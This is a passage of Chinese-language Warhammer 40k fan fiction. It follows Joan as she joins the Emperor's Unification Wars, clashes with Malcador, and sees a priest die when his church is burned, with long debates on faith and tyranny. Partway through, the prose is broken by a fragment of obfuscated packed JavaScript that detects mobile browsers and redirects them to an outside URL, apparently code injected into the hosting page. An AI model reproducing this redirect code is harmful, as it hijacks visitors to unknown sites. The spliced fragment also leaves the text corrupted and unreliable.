“琼安,我们要铸造的是活着的文明,真正的希望,不是你自以为完美延续的,那些博物馆的标本。你以为圈出一片象牙塔,在这里便可以扮演伊甸园的游戏,外界的风啊雨啊,只要不击碎你那坚固的堡垒,你便任由它去。文明的守护者?仁慈的保民之主?我来的时候已经见了太多将牙齿磨利,守在你家门口,就等着一口吃掉这丰美果实的野兽,它们嗅到了这里的繁荣,正等着你一露破绽,便扑上来将你和跟着你的孩子们撕碎吞下。你当然可以继续天真地视而不见,但当第一桩谋杀犯下,第一滴血渗入泥土,第一声哀嚎划破长空时,你的理想便早已再无存身之地。” “战争不会因为你的怜悯而止步,野兽不会因你的仁慈而收敛獠牙。你的城墙很坚固,但它能挡住多少次围攻?你的人民很忠诚,但他们能承受几次屠戮?你觉得守住自己的地盘,保存所有火种,就能一直持续,可你能用道德去感化敌人吗?还是,你愿意用你的信念,去填补他们刀锋之下的深坑?” “如果文明的存续必须建立在鲜血之上,那它还配称之为文明吗?”她终于开口,语气平静得一块尚未被风暴侵蚀的磐石。 “你难道还没看明白?”启示微微俯身,语气带着一丝怜悯,“文明从来都是建立在鲜血之上的,只是区别在于,是谁的血。” 门外传来护卫更换岗哨的脚步声,他看着她,金色的眸像火焰一般,即将点燃并烧尽所有的阻碍:“放下所有天真吧,琼安,那是早该在许多年前就被抛下的东西。我要你清醒着见证,我们将要改写的历史本身。” 琼安未作回应,她只是默默地注视着他,那目光沉静得如同那天在大学教室里,她看清他如金像般的面具下迸出的裂痕。然后,她转身向门口走去,声音轻飘飘地落下:“你的未来,不是我的未来。去蛊惑那些渴望功勋的雏鸟吧,他们的血还足够热。” 但她没有拒绝,也没有彻底否认。启示看着她的背影,笑了一下,那笑容藏在阴影里,让人捉摸不透。 自那以后,琼安开始重新规划每条走廊的安全措施,与其他信任的成员一道调整准入规则时总要在纸上反复规划备用方案,那些身份核验的细节像丝线般缠绕着每一位公民的日常,连艾莉西亚的絮叨她都会认真去遵守,不再乱跑。她的每一个行动都变得更加小心翼翼,可启示的到来依旧像一团阴云,缓缓笼罩在她的意识之中,挥之不去。 当烽烟燃尽,一切归于尘埃,人类文明还剩下什么呢?她曾在史书的黄页中寻找答案,却只看到轮回的宿命。每一次繁华过后,依旧是尘土飞扬,谁也无法逃脱这份早已注定的结局。 严峻的局势并未留给琼安太多时间去思考,烽火的蔓延如同暴风骤雨,猛烈且无法避免。她或许怀揣着和平的理想,可手握着大量资源本就容易在这群狼环伺的时代成为众矢之的。外界对于文明保存基地的谣言如同野火一般在这一刻迅速蔓延开来,恐惧与不安在每个角落流淌,正巧某个仓库的防守在换班时变得空虚,防线出现了破绽。敌人的突袭彻底将原本只停留在边界摩擦的冲突化为了多个阵营的大规模战争。 《启示录》里的烈马与骑士踏平了每一寸希望,战场的颜色永远浸在焦土与锈褐的泥淖里。当嗅觉早已习惯腐烂的气味与风刮来的腥咸,大脑便只认得出两种印记:弹壳冷却后的青灰,以及动脉破裂时喷溅的猩红——那是生命最后坚持自己是生命的证据。 被硝烟腌透的指节早已分不清自卫反击与仇杀报复的界限,敌人的暴行如荆棘缠身,逼着琼安将在建立军事武装之初所立下的誓言尽数打碎,拷问室的惨叫在午夜复生,又在焚尸炉的火焰里戛然而止。事后他们举办赎罪的弥撒,在最为传统的诵经与祈祷间洗净血迹,恳求并不存在的怜悯。副官汇报伤亡时,她总是盯着那串念珠,仿佛那些玉石珠子真能编织出一条通往天主的苦路。翠色的珠玉宛如无数个死者的眼珠,让琼安不禁想起那次与启示的会面,记忆如同破碎的花瓶,散落在她的脑海里。那时她以为,只要修补好所有的裂痕,就能骗过自己;然而,如今空气中弥漫的硝烟与焦土的气味,却毫不留情地撕开了那些自欺的胶痕,露出真实的裂隙。 如今,琼安站在残破的机甲指挥室内,透过裂开的全息屏幕,望向外面的废墟。炮火的余烬尚未完全熄灭,黑烟在风中缓缓升腾,战火留下的焦痕蜿蜒爬上堡垒的墙壁,如同一只被烈焰舔舐过的猛兽,奄奄一息。 “您还好吗?”副官小心翼翼地问道。 琼安回过神来,语气平静而疲惫:“艾莉西亚,伤亡情况?” “第三和第四防御区彻底失守,物资库被洗劫一空。我们的补给撑不过下个寒季了。”他咬紧牙关,几乎是用牙齿磨碎了这份沉重的报告。随即,他神色变得小心翼翼:“女士,您还记得吗?艾莉西亚几个月前就牺牲了。” 琼安轻轻闭上眼睛,那个身穿彩衣的女孩儿在昏暗的回忆中奔向远方,消失不见。此刻命运终于追上来掐灭最后一缕呼吸,她已经预见了这样的结局,却还固执地拖延、挣扎着,试图将文明的火种延续得再久一点。可现在,无论她再怎么想把这破碎的余烬捂成虚构的永恒,它也已燃至尽头。 警报器的嘶鸣突然撕裂了这一片绝望的死寂,声浪碾过耳膜,将所有人的意识都拉回此刻的现实。 “新的敌袭?他们突破防线了吗?”副官脸色骤变,立刻拔出武器。 “不。”琼安睁开眼睛,目光落在监视屏幕上。 硝烟弥漫的天幕下,一支军队缓缓逼近。他们金色的盔甲在灰蒙的空气中闪烁,飘扬的旗帜上鹰徽跃然其上,宛如雷霆划破天际,他们是残暴的巨人,身披厚重的铜色盔甲,头盔上猩红色的羽毛装饰如同公鸡的华冠,笔直高耸,威风凛凛。庞大的背包如呼吸一般冒着热气,要将独属于战争的压力与愤怒一同散发。他们步伐整齐而坚定,带着无法抗拒的威压,震慑着所有还存在意识的生命。 在这威严的阵列中,最前方,一道熟悉的身影逐渐显现。他站在硝烟漫卷的黄昏里,高大壮阔的身躯覆着华美的金甲,像件从熔炉诞生的艺术品。冷冽的,雄鹰与雷电的纹路攀附在护甲表面,如冰层在极寒中迸裂的轨迹。那让琼安数次回忆的,昔日温润的轮廓被战火重塑,光泽流转间让人想起武器室里那些被擦拭过千百遍,早已出鞘的冷兵器。 是启示,他终于来了。 战士们像一道骤然降临的狂风,撕裂敌军的阵线。他们手持的武器绽出炽烈的光,瞬息间便撕碎所有的拦路者,金色的洪流席卷了整个战场。敌人措手不及,在这支突如其来的军队面前节节败退。 而琼安只是站在那里,冷眼看着战火燃烧。 她所认识的那个人终究还是没变。他从不相信“防守”,他的方式永远是彻底粉碎一切威胁,将敌人碾碎成尘埃。他向来如此——直接、决绝、残忍且不留余地。 战斗在短短数小时内结束。启示与他的军队在凯旋的歌声里踏入了琼安的领地,战靴在灰烬中踩出清脆的回响。他的身影被昏黄的灯光拉长,金色的胸甲上还沾着未干的血迹,就这般立在大理石长廊的尽头,双手交叠于身后,凝视着远方,手里甚至捧着一杯好客且友善的文明守护者们,为远道而来的朋友亲自沏上的好茶。琼安走到他身旁时,他才微微低头,让目光落在她身上。 “你终于愿意见我了。”启示轻描淡写地说道,语气里听不出嘲讽,也听不出任何情绪,还朝她举杯:“你手底下的孩子们这次的待客之道不错,来点茶吗?” “你还是来了。”她的声音如冰雪压枝,不带一丝波澜。 他轻笑了一声,带着淡淡的,让她一如既往觉得不适的嘲弄:“你知道我想来,就一定能来。” 琼安的指甲陷进掌心,旧伤结痂处又渗出细密的血珠。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450321|169465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们的对话总像是在茶汤凉了又续的时刻戛然而止,让那些未尽的话变成隐喻,沉淀在釉色茶杯底。她厌倦了推杯换盏间的博弈,却不得不一次次咽下他留在杯底的残局。那些轻飘飘的,浮沫般的承诺,终究会在冷却后显露出茶叶梗般粗粝的真相。 “我不认为你还能撑过下一个冬天。”启示平静地说,“但你可以选择,不必死在这里。” 他放下茶杯,摊开手,随便摆弄了一下手里的东西,投影装置亮起,光屏展开,一幅壮丽的全息图在空气中缓缓浮现。那是多么庞大的国度,高塔在苍穹下直指云端,科技与文明交织,仿佛是黄金时代最辉煌的幻梦在此刻重现。 “这才是人类真正的未来。”启示声音沉稳,“如果不是我来,你的‘希望’今天就会彻底消失。” “所以,你是在等我感谢你吗?”她的声音变得尖锐。 他没有回答,而是面无表情地等待她自己处理好多余的情绪。毕竟她此刻的愤怒不是真的针对他,而是针对这个无可逆转的现实。 沉默弥漫了一会儿,他轻叹了一声:“琼安,别再挣扎了。你输了。” “我们都在输。”她低声反驳,眼底浮现出痛苦。 “但至少我还有办法赢。” “....赢?”她喃喃重复了一遍,语调里带着一丝疲惫地冷笑,“赢什么?赢过时间?赢过世界?” “赢得最后的生存权。文明不能靠幻想活下去。” “所以你的计划是什么?”她眯起眼,逼视着他,“你又想让我做你的棋子吗?” 启示没有闪避她的目光,淡然道:“不是棋子,是同行者。” 琼安嗤笑:“你从不需要同行者,你需要的是可控的变量。” 远方爆发出了一阵哄笑,他们都不约而同地朝那边看去,原来是曾与琼安一同守护文明的士兵们,他们正在教这些穿金甲的新盟友们如何玩一种卡牌游戏,而从战士们笨拙地表现来看,他们并不擅长这些,于是两方都轻快地大笑起来,决定再多来几局。 “如果你愿意走进我的计划,”启示看着他们,意有所指道,“至少还能决定这些孩子们未来的方向。” 琼安沉默了。 她早已被现实逼入死角了,钉死在这棋盘上了。无论如何挣扎,都无法摆脱这无情的束缚。在这漫长的岁月里,她背负太多的死人,直到小小的躯体成了一块活着的墓碑。可是,那些大笑着,在命运暂时地忽略里放松下来,尽情游戏的孩子们呢?人生苦短,如果有了更好的去处,他们应当毫不犹豫地前往,也值得拥有更好的未来。 如果她早些醒悟到这一点的话,艾莉西亚是不是就不会死掉了? 她的心脏悄然跳动,沉寂片刻后,她开口了,声音轻得几乎无法听见,却又坚定不移:“我答应你。” 也许在这个世界里,真正的自由早已丧失,只剩下无数的牺牲与挣扎。冰面下的暗流终究会冲破冬日,但总有人要踏着薄冰去捞取沉没的春天。而无论是为了无数个她曾拥有的艾莉西亚,还是那些仍然活着,在为了一个美好的明天而奋斗的孩子们,她都心甘情愿沉入那冰冷的深渊。 就这样,在废墟之上,一位比任何军阀都强大的存在终于显露真身——帝皇。他自称为人类的救世主,并宣称自己将统一泰拉,重建秩序。而在他的身侧,她又有了新的身份,同尔达,马卡多一起。帝皇的幕僚或者走狗,敌人们时常如此统一地称呼他们。当雷霆战士们的铁骑踏碎联合主教唐所塑的,伪神的神像时,寒霜正在乌尔什的城墙上结晶,卡拉干的头颅被悬挂在凯旋门前那日,琼安正在修补某个版本的帝国宪章初稿,墨水总调不成她想要的颜色。帝皇评价她不擅长战争,她也是这么认为的。比起征服与毁灭,她更加擅长秩序与重建。长久的规划与撰写让琼安暂时忘记了他们在打一场战争,未来的图景在她笔下缓缓展开,满是希望与光明。 她很高兴能在见到尔达,两人重逢的那日便有无数说不完的话。琼安得知大部分她所认识的永生者们都早就离去了,因为各式各样的原因,而她所熟知的非永生者,也因漫长的战争达到了延寿手术能尽的极限,早早故去了。她还未来得及与许多人说上话便不得不先告别,不过,帝皇的身侧也有无数新鲜的血液,随时准备为他们的主君效忠。马卡多,最后一个掌印者,琼安长久缺席于帝皇身侧时,新加入的,名义上在帝皇身侧与她平起平坐的年轻人。他的寿命不过千岁,却比她更熟悉人类世界的游戏规则。他们初见的时候就起了冲突,那时他正在检查她所保护的文物收藏,又给琼安看了他所收藏的蒙娜丽莎。 “我以为它早在战争中被焚毁了,连我当年拥有的也不过复制品。”隔着静滞立场,她发出小小的惊叹声,“没想到掌印者们并不都是庸才。” “事实上,你当时拥有的大部分都是复制品,不用客气。”他讽刺地笑了一下,“即使是黄金时代,要骗过守卫你那些宝物的铁人也依旧很容易,不要把掌印者都当成傻子。” 自那以后她就一点也不喜欢他了,马卡多的存在和身份总让琼安想起她还是掌印者时,曾亲眼见过的那些染血的卷轴,而他的眼神则是博物馆防弹玻璃后的蛇类标本,瞳孔里凝固着对温度与心跳的漠然。她还是更加喜欢尔达,喜欢她把银白色的长发挽入头巾后的优雅姿态,喜欢她翻着战报给自己耐心分析局势的模样。她们的情谊并未因长久的分离而淡化,反而在不断分享旅途见闻中变得更加亲密起来。 有时不是太忙的时候,他们常与帝皇在指挥室里对弈,模拟一场场战争、试图洞察每一个可能的局面。琼安曾以为自己早已窥见残忍的真容,直到亲身涉足其中,才意识到,他们所做的不仅是谋划如何覆灭敌人,而是在以冷酷无情的刀锋,一寸寸雕琢自身,将灵魂打磨成再无回头路的形状。 战术地图上的标记随着命令而移动,像是优雅流畅的舞蹈,红色的光点象征敌军,被逐步蚕食、围剿、歼灭。而战术推演中的一场小小试探,在现实里,便是一支千人部队的覆灭;一次精准打击,在战场上化作连绵的哀嚎与烈火。大地在燃烧,天空在呜咽。泰拉的每一寸土地都浸透了血与火,统一战争以无可争辩的铁拳碾碎了过去的秩序,也在每一处废墟之上立起新的旗帜。帝皇的战士踏碎焦土,在千疮百孔的城市间前行,铠甲上的战痕刻录一次次无情的征伐,覆满盔甲的士兵如同远古神话中的怪物,冷漠地迈过尸山,留下被蒸发殆尽的鲜血与灰烬。环太平洋帝国的血肉傀儡在烈焰中扭曲哀嚎,纳森杜姆的基因改造变种人在生命最后一刻仍想扑向雷霆战士,乌尔什的术士在帝皇的光辉下发出绝望的怒吼,随着燃烧的符文灰飞烟灭,他们信奉的神明从未回应他们的祈祷。 被攻陷的城池里,没有幸存者,只有惶然哭泣的鬼魂。昔日辉煌的宫殿在轨道轰炸下化作废墟,臭名昭著的恶徒被缚在街头,高高悬挂以警示那些仍存妄念之人。他们的尸体在晨曦下投下扭曲的阴影,供新生的帝国之民默然注视。 然而,最锋利的刀刃不在战场,而是深深扎根于一场场博弈,然后化作无数被冠以“必要之恶”的灭绝令。马卡多轻声呢喃着无可挑剔的逻辑,将百万人的命运化作冰冷的数据;帝皇则在星图前沉思,审视那些必须抹除的“变量”。琼安依旧抗拒、质疑,然而她也会在必要的时候按下发射武器的指令,让城池化为焦土。城市遗骸燃烧的灰烬沾满她的军服,指挥室的防弹玻璃里,她那疲惫的剪影似乎化作了被她审判的暴君。她的指缝里结满永远洗不净的血污,猩红的颜色就像授勋与表彰典礼上那些别在胸口的勋章。每个午夜惊醒的瞬间,琼安都能听见自己签署军令时钢笔划破纸背的声响,与签订各式和平条约,或制定各种计划时的沙沙声,渐渐重叠成同一种模样。 当帝皇握住她执棋不定的手时,那温度仍似从前一起读书的暖意,可是,那棋盘正中的鹰徽正将她的理想啄食成冰冷的,献给新神的祭品,而每当赢了棋局,他赞许的轻拍又让她在高兴之余,产生刽子手在丈量颈椎骨缝的错觉。 寒冷的冬夜里,他们又攻下一座城池,雷霆战士们遵照命令,开始整理暴君的基因改造婴儿培养舱,一个个畸形的孩子在罐中沉浮,琼安挪开视线不想再去看,可远方帝皇与马卡多商讨如何用这些数据优化下一代改造人的声音,还是传入她的耳中。 不久之后,她与尔达站在实验室的观察窗前,静静地凝视着玻璃舱内那些沉浮在营养液中的造物。苍白的肢体在液体中轻微抽搐,尚未完全成型的脸庞模糊而扭曲,她的心脏随着那不可名状的表情被轻轻牵引,而后又化为一股莫名的厌恶。 “这还能被冠以人之名吗?”她想。 帝皇与马卡多认为,为了未来,人类必须被优化。基因改造是通往新世界的必经之路,人类的血肉已成可以被重塑的粘土,将不完美之处全数剔除,把所有情感、缺陷、甚至自由意志都简化成可控变量,最终炼成一个纯粹的、理想化的、为帝国服务的存在。 她厌恶这一切。 “你越来越像他们了。”离开实验室后,她忍不住对帝皇说,“那些被你挂在城门上的军阀,当年发动战争的时候,也自称愚昧的清道夫。” “我所做的一切,都是为了确保我们不再重复过去的错误。我们要用最坚硬的铁拳,摧毁一切阻碍我们进步的力量。”帝皇说,似乎并不想与她耗费太多时间去争论这个话题,他看着琼安,目光锐利,“你的疑虑,正是你尚未完全理解这场战争的意义。” “你认为这是暴行,但我只是推动了必然的进程。为了泰拉的未来,任何牺牲都是值得的。”他的声音忽然又软了几分,“你以为我对这些生命毫无感情吗?你忘了我们一起走过的路,一起经历过的黑暗。你看到的只是这背后的代价,却忽略了即将到来的成果。” 琼安低下头,心中涌起阵阵痛苦与迷茫。她曾与帝皇一起梦想过那个理想中的未来,但如今,那个梦想变得愈加模糊,变得充满了不确定与恐惧。她开始怀疑,自己是否早已被理想的光辉蒙蔽了双眼,盲目地追随着他,忽视了逐渐暗淡的现实。 可是敌人的手段远比他们更加残忍,她也曾亲手制造过无数场战争,也曾让鲜血染红大地,也曾不得不将自己如发条般绷紧,运转如机器,没有任何犹豫与怜悯。她的双手和胸膛里的心不比他们任何一个人干净。帝皇称赞她战术布局的精妙,可为了这决策,她手心里总染着血迹的余温。有时为了达到某种目的,必须亲手触碰那片暗黑的领域,她早已做过这个决定,不应当在此时感到后悔。 “你说的对,”琼安终于轻声回答,语气中带着些许疲惫,“也许我是该好好想一想。” 燃烧的大地终于遍布生机,无数条约被签订,战争中崛起的新贵与曾经结盟的盟友们相互举杯,琼安的指节无意识摩挲着念珠,权杖碾过之处,鹰旗已插遍燃烧的版图。昨日还在咒骂的军阀名讳,今晨便成了战报末尾的墨渍。已修订完善的帝国真理在庆功宴的烛火下闪着诱人的金光,铁蹄碾碎旧时代的图腾,连最顽固的堡垒都化作剑下的铁屑。 宴会的中途,琼安提起裙摆溜去清净的地方,去看遥远的天空与难得一见的银河。夜风掀起焦黄的书页,命运的轮盘刚刚转过第一齿。她仰头观望许久,沉默不语。 在这战争熔炉里所锻造的会是黎明,还是更牢固的锁链? 5. V V. 也许我爱的已不是你, 而是对你付出的热情。 就像一座神庙, 即使荒芜, 仍然是祭坛。 一座雕像,即使坍塌, 仍然是神。 ------莱蒙托夫《献给我不真实的爱人》 BGM:Λshes - 泽野弘之 Notes: 本章太长,分为两个部分发送,在这里先放出上部。 预警:上半部分有大量宗教辩经,跟我在第三章做的预警一样,希望不会冒犯到相关人员。本章含有微量尔达x琼安的友谊之上恋人未满伪母女关系。尔达的塑造毫无疑问是个败笔,但是GW写手全责,请不要在我的评论区骂她谢谢,她的问题不是她本身而是GW写手失败的锅,我会溺爱每一个被白男毁掉的女角色。 阳光透过高耸的彩色玻璃窗,投下斑斓的光影。尘埃在光束中浮动,一位年轻的旅人迈入教堂,靴子小心翼翼地踏在光滑的石板地面上,发出轻轻的响动。空气中弥漫着焚香的余味,与烛火微弱的气息交织,宁静得像一场即将终结的梦。 这座教堂的神父正站在祭坛前擦拭烛台,见旅人来了,便放下手中的工作欢迎远道而来的羔羊,祭袍随着动作轻轻摇曳。 “欢迎你,孩子,我是雷石教堂的乌里亚神父。”他的眼神平和而慈悲,仿佛不曾知晓外界那逼近的毁灭,“这个点很少有信徒到来,我能为你做些什么吗?该如何称呼你?” 旅人摘下了兜帽,露出一张年轻而白皙的女性面孔。她眉目沉静,轮廓清隽而冷淡,乌黑的发丝被束于脑后,垂落几缕在肩头。一对暗色的眸子隐匿在厚重的额发之下,映着教堂中跳动的烛火。那是一张来自遥远东方的面孔,在这片土地上显得格外罕见。 “我是琼安,季琼安。”她说,“我来为我所犯下的罪恶忏悔与祈祷。” 乌里亚神父温和地颔首,做出一个请的手势:“请随我来,忏悔室在那边。” 琼安点头,迈步向前,两人的脚步声在教堂的穹顶下回荡。路过祭坛时她缓缓停顿了一下,站在圣像下方,熟悉的光线洒落在她的肩头,宛如多年前那些未曾斑驳的旧梦。 她闭上双眼,呼吸轻颤。 所有未曾诉说的过往,所有深埋于岁月中的罪愆,皆在这圣洁的光辉下浮现。 往昔的画面如潮水般涌来,文明的废墟、被焚烧的典籍、被洗劫的私人储藏室与幸存的教堂,不论是否作为承载历史与文化的遗产,都在帝皇的命令下被系统性地抹除。他要创造一个没有过去、没有桎梏、没有神明的新世界。无数军阀曾借神明之名行暴政之事,信仰与混沌交织,蒙昧无知的狂热者在神圣的旗帜下流尽鲜血。未知的深空里,不可名状的邪灵如饕餮般享用起人类美味的情绪,并随时添砖加瓦,操控着它们的傀儡以得到更多餐食。而如今,玻璃彩窗在焚书的热浪中炸裂,彩绘圣母像被酸液蚀出空洞,天空中满是焚烧圣像的烟尘,帝皇的清洗部队挨个排查所有曾是教徒的民众,火焰吞噬经卷的声响里也时常混着尸骸崩裂,人脂被烤化的焦臭。 帝皇的意志是至高的,他向他的信众们布道:“这世上没有神。” 或许他确实是对的,因他曾在时光长河里无比细致地塑造每一个文明,像陶匠拾起湿润的陶土般耐心。而今从岁月褶皱里打捞出的文明碎片,正被熔铸成新的冠冕。那些散落史册的残剑在熔炉中苏醒,锋刃流转间终将归入持剑者的掌心。 这世界原本就满是他行过的轨迹,而如今物归原主倒也还算合理。可当琼安看到神父安然地站在十字架下,目光坦然地望着这即将燃烧的一切,某种比顺从更加锋利的东西正钝钝地割裂着她的胸腔。 这世上没有神明,可除了神明,无人能用爱洗去世人满身的罪。 烛影摇晃,在忏悔室里投下昏暗的光,那些无人知晓的罪孽随祷文浮出唇齿——默许过的暴行,签署过的判决,浸透战报的血渍。她为过往与将至的杀戮祈求赦免。告解的最后,她站起身,同乌里亚神父一道站在余烬将熄的圣坛前,轻声唱起了一首早已被遗忘的圣诗。年轻的声音与年迈的声音合在一起,如夜风拂过废墟。 “您真的相信宽恕吗?”琼安望着远方的天穹。 烛火在静谧中微微跳动,投映在老神父皱纹深刻的脸庞上,时间在这位老人眼角的沟壑中刻下印记,他的目光透过教堂高耸的穹顶望向晴朗的天空,落在遥不可及的岁月里。 “宽恕……”他低声重复,声音被岁月打磨得苍老而轻柔,如同风吹过老旧书页,“我相信它存在,如同夜幕之后仍会迎来晨曦。” 祷文已经结束,忏悔已然完成,然而与赎罪的祈祷同样的杀戮依旧在战术地图上蔓延。她站在毁灭与新生的交界,风吹过她的身躯,将血腥的气息沾满她的衣摆。 “可有些罪,神父,是无法被宽恕的。”琼安喃喃道。 “你心知圣殿将倾,可你仍在此处祈祷。是因为你仍渴望宽恕,还是因为你害怕自己的罪行无人能宽恕?” 晨风穿过彩绘玻璃的裂隙,将阳光揉碎成浮动的金箔,轻盈地洒在教堂内的石质地面,飘落在祭坛上那半燃的蜡烛、翻开的经书与沉默不语的圣像上。穹顶外的晴空蓝得近乎圣像画的底色,恍若天地在此刻恪守某种古老的缄默誓约,不论人世如何翻覆更迭,这座即将燃烧殆尽的圣殿,依然暂时保有它最后的平和。 未出口的答案在喉间凝结,站在斜射进窗棂的光束里,琼安觉得自己正随着阴影的流逝,一点点褪去辩解的勇气。 “神已用祂的仁慈降下怜悯。”神父叹息着,轻声道,“祂已扶持你渡过无数艰难时刻,用祂自己的血与苦难洗掉你的,但最关键的是,你是否能原谅自己?” 镀金的日晷投下细长的阴影,教堂的尖顶仍肃然耸立,与天穹的苍蓝交接在一处。然而,它的终焉已经降临。 最终,雷石教堂在帝皇的旨意之下燃烧。 烈焰席卷圣坛,攀附上木制的长椅、古老的经卷、象牙雕刻的十字架。浓烟冲破彩绘玻璃,火光映红了苍穹。琼安未曾得知神父与帝皇具体说了什么,但她认得那信念被摧毁时,眼眸中的万念俱灰。可他未曾后悔在这黑暗的时代里,被真正的爱所包容,被爱所宽恕,并带着这份爱去怜悯与珍视这世上的每一个生命。 “爱是恒久忍耐,又有恩慈,爱是永不止息。”那天琼安离去前,乌里亚这么对她说。而眼下,带着所有的爱,泰拉最后的神父无比坚定地转身,离开帝皇与他即将铸成的理想之国与他早已筑起的无神之塔,转而步入燃烧的教堂,肃穆地站在那里,如同所有受苦的圣徒,面容沉静,眼神依然慈悲。他未曾求救也未曾诅咒,只是低声吟诵着那已无人聆听的祷词,声音在炽热的空气中飘散,直至火舌吞噬了最后一丝气息。 烟尘在空气中飘散,落在琼安的肩头,她伸出手,指尖触及那尚未冷却的灰烬,耳畔仍回响着神父最后的呢喃。可神明已死,圣殿崩塌,唯有烈焰见证这一切。 “多么愚蠢的人啊!”在她身侧,雷霆战士们不以为意地大笑着,转头便将那小小的神父忘记了。 可琼安却摇头,灰烬的温度依然烫着她的手心,“你们不知道自己已经失去了什么。”她凝视着他们的身影,满怀悲戚。 帝皇的目光垂落在她身上,她低下头,跟随他一同离去了,远方响起了钟声。 那之后的日子里,琼安总为乌里亚神父祈祷,然后悄悄取出藏在暗格里的念珠,她已经不敢再把它公开地拿出来了,但生活里缺少了它总会觉得心神不宁。她特地叮嘱过,午夜之后若非紧急事务,任何人都不得打扰她。她喜欢这一时刻的宁静,也习惯在这段无人窥探的时间里卸下面具,与自己短暂独处。 然而,沉默中,门被推开了。厚重的金属轴承缓缓转动,发出低沉的摩擦声,在寂静的空气里格外清晰刺耳。冷冽的光线从门外倾泻而入,割裂了房间内的昏暗,也将琼安惊诧而仓促的藏匿动作暴露在这道光影交错之中。她僵在原地,指尖仍死死攥着那串尚未来得及收起的念珠。 帝皇静静地站在门口,卸去了白日里所有象征威权的武装,仅穿着一袭长袍,少了几分金属铠甲带来的冷峻压迫后,整个人看起来似乎放松了许多。他甚至没有维持那令人敬畏的身形高度,而是以更接近常人的姿态立于门前。然而,即便如此,他的存在依旧如山岳般巍然不动,投下的阴影轻易便将她笼罩其中。 “你从前若是信仰改教之后的新教,倒也还算合理。”沉默良久后,他开口了,“只是当你向金玉堆砌的偶像,华丽的宗教彩窗祈祷并赞颂天主时,又将那些死在猎巫,死在由所谓信仰诞生的杀戮和清洗的人们至于何处?我们早就谈过这个,琼安。我花费那么多的时间在这片土地上所做的一切,所有的抹除,可不是毫无意义的破坏。”他缓缓向前踏了一步,影子在摇曳的光影中延展,将她彻底笼罩。 “我在铲除旧世界的枷锁,让人类能够挣脱那些束缚他们思想的幻象。”他的目光落在她指间紧攥的念珠上,“我曾耐心地指引你,修正你,我选择了你,愿意让你站在我身边,而非像那些顽固不化的信徒一样被烈焰吞没。” 他伸出手,修长而有力的指节停在她面前,“现在,把你的玫瑰念珠交给我吧,你不该保留它。” “我不否认,”她仰起苍白的脸,平静的目光对上他的,只有捏紧那串玉石玫瑰念珠的双手微微颤抖,“只是你当晓得,人类的心生而空洞,其中罪恶满盈。唯有爱才能填满了这灵魂的洞,唯有爱才能洗掉罪。我接纳了我的信仰作为我自己的一部分,也接纳了它所传播给我的爱,以及自我的不完全。” “哈,原罪论。”他笑了,“又是一个谎言,将人们原有的美好本质偷窃,归结于某个虚无的存在,而后又找借口合理化所有的恶念。” “就像我从前说的,这一切是否建立在谎言之上,本质并不重要。”她看着他,“您在这世间度过了比我多出数倍的光阴,应当明白人类需要一个合理的,可靠的,信服的存在,填补他们的空洞,抚平他们的哀伤,带领他们前行。我诞生的时代,人们还未完全从两次大规模的战争,以及无数过去的争端间康复。过去的见证人与老兵们都还未归于尘土....而您亲身经历过这一切。是的,对我而言,没有神的政权之所以稳固,是因为它自己成为了一个新的“宗教”,而比起将信仰寄托在某个很有可能会为了自己的利益,将人们无情利用的人类,我更愿意信任那个,集合人类所有对爱与美好的期望与寄托的神,我知道祂并不存在,但世上有太多东西会崩塌,太多誓言会被践踏,太多信念会被吞噬。那些政权、理念、英雄,终究不过是凡人的产物,而凡人会变,会腐朽,会在时间的长河里被磨平棱角,成为下一个暴君、下一个牺牲品。但神不会,至少在我的意识中不会,祂不因人的贪婪而枯竭,不因利益的权衡而变质,不因现实的动荡而消散。祂是一种纯粹的象征,是所有关于爱、善良、牺牲、光明的投影,我无意再去传播,或者给这种信仰带来更多信徒,我只要祂仍在我的心中。纵观历史,宗教带来的迫害一直都在,可对宗教本身的迫害也从未停歇。人们常常指责宗教,他们嘲笑那些因信仰而战、因信仰而死的人,认为这不过是一场受蒙蔽者自愿投入的悲剧。可那些践踏宗教、摧毁信仰的人呢?难道他们就真的更高尚、更理性吗?他们打着自由的旗号焚毁神像,以理性的名义摧毁圣所,将虔诚者斩首,将信徒逼迫至无路可走。他们将一切不符合“进步”标准的事物斥为愚昧,认为信仰是束缚人的枷锁,可他们自己,又何尝不是另一种形式的暴政?” “宗教因人的贪婪、权力的操弄而蒙尘,可真正的信仰,却从来不该成为刺向他人的利刃。信仰的本质,本是超越血肉、引领灵魂的灯塔,而非供统治者驱策的工具。真正的信仰,是当黑暗吞噬希望时,人仍愿意点燃光火;是当世界教人冷漠时,仍有人选择施以援手;是当一切理性都告诉你“前路无解”时,仍有人低声祈祷,仍有人相信救赎。是人犯下的罪,而非信仰本身。”琼安低声道,“但人却总是宁愿毁灭信仰,而非约束自己的恶。假若有些人信了宗教,但还是用恶填满内心并转化为更邪恶的行为,那么,宗教之外的东西也拯救不了这个人。” “统一是必然的,只要所有宗教都被消灭。”他声音沉稳不带丝毫犹豫:“宗教会凭借它的意志去尝试左右政权,而历史已经无数次证明,它作为一种思想的工具,比任何政权的操控都要可憎。你说是人犯下的罪,而非信仰本身,”他继续道,“可我却看到的是,无论在哪个时代,宗教都为自己的罪行披上神圣的外衣。它向人类承诺一个不可证伪的天堂,然后利用人的敬畏,让他们甘愿受苦,甘愿献祭,甘愿将自己的自由拱手相让。信仰宣称自己是纯粹的,可它的存在从未脱离人的欲望。那些自称神的代言人的人,行使着比帝王更大的权力。他们不需要军队,不需要铁血,只需几句言语,就能让人自愿赴死——甚至以为自己在成就某种更高的善。你口中的神圣意志,最终仍旧依赖于人类的诠释。而人是贪婪的,人是自私的,人会利用信仰为自己的利益服务。于是,宗教便成了最隐蔽、最高效的统治工具。” 他站直身躯,俯视着她:“而我不会允许这样的工具继续存在。” “那么,您又要如何证明自己是正确的呢?”她说。 “琼安,人类拥有统一的力量,却割裂成无数派系斗争,而只要所有人齐心协力达成一个目标,便再不会重现历史中的血腥,这一点无需证明。然而宗教和它的谎言会阻碍人类拥有真正的理性团结与进步。” 